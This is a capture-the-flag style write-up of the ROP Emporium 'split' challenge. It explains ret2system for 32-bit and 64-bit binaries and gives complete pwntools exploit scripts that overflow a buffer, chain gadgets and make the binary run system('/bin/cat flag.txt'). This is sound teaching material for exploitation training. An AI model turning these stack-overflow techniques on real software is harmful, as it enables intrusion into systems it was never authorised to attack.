split
{"author": ["ret2basic"]}

32bit

Solution

Examine the strings contained in the binary:
Strings
The idea is using ret2system to call system("/bin/cat flag.txt"). For 32-bit binaries, the arguments for a function call is stored on the stack. Pictorially, the stack frame looks like the following:
1
buffer
2
function => EIP
3
return_address
4
arg1
5
arg2
6
arg3
7
...
Copied!
In our case, we should set up the stack into the following state:
1
b"A" * offset => junk
2
system => Overwrite EIP with the address of system()
3
exit => This is called when system() returns (return address)
4
/bin/cat flag.txt => This is the argument for system()
Copied!
Note that we don't really know the address of exit(). It is okay to use b"B" * 4 to replace exit() for this challenge. However, this dummy padding would destory a process in real-world scenarios, so make sure you always use exit() as the return address for system().

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="i386", os="linux")
7
elf = ELF("split32", checksec=False)
8
9
#--------Offset--------#
10
11
p = elf.process()
12
pattern = cyclic(1024)
13
p.sendlineafter("> ", pattern)
14
p.wait()
15
core = p.corefile
16
p.close()
17
os.remove(core.file.name)
18
offset = cyclic_find(core.eip)
19
20
log.info(f"offset: {offset}")
21
22
#--------ret2system--------#
23
24
system = elf.plt["system"]
25
usefulString = 0x0804a030
26
27
payload = flat(
28
b"A" * offset,
29
system, # call system("/bin/cat flag.txt")
30
b"B" * 4, # return address for system
31
usefulString, # arg for system
32
)
33
34
p = elf.process()
35
36
p.sendlineafter("> ", payload)
37
38
p.interactive()
Copied!

64bit

Solution

For 64-bit binaries, the calling convention is completely different. Instead of storing arguments on the stack, 64-bit binaries store the first 6 arguments in registers, in the following order:
1
arg1 => RDI
2
arg2 => RSI
3
arg3 => RDX
4
arg4 => RCX
5
arg5 => R8
6
arg6 => R9
Copied!
If there are more arguments, those arguments will be stored on the stack. However, it is rare to see function calls with more than 6 arguments.
As a result, now we need to store the address of "/bin/cat flag.txt" in RDI before calling system(). The trick is to use a pop rdi ; ret gadget. This gadget can be easily found with ROPgadget if it exists in the binary.
Another tricky thing is stack alignment. Starting from Ubuntu 18.04 and onward, the stack is aligned in 16-byte boundaries. Without this alignment, we would call:
1
pop_rdi, arg,
2
system
Copied!
With this alignment, we should call:
1
pop_rdi, arg,
2
ret, system
Copied!
The ret gadget here is a padding that makes sure the stack is properly aligned. Keep this in mind, it will save you a lot of time from debugging.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="amd64", os="linux")
7
elf = ELF("split", checksec=False)
8
9
#--------Offset--------#
10
11
p = elf.process()
12
pattern = cyclic(1024)
13
p.sendlineafter("> ", pattern)
14
p.wait()
15
core = p.corefile
16
p.close()
17
os.remove(core.file.name)
18
offset = cyclic_find(core.read(core.rsp, 4))
19
20
log.info(f"offset: {offset}")
21
22
#--------ret2system--------#
23
24
# ROPgadget --binary split --only "pop|ret" | grep rdi
25
pop_rdi = 0x4007c3
26
usefulString = 0x601060
27
# ROPgadget --binary split --only "ret"
28
ret = 0x40053e
29
system = elf.plt["system"]
30
31
payload = flat(
32
b"A" * offset,
33
pop_rdi, usefulString,
34
ret, system,
35
)
36
37
p = elf.process()
38
39
p.sendlineafter("> ", payload)
40
41
p.interactive()
Copied!
Last modified 5mo ago
Copy link
Contents
32bit
64bit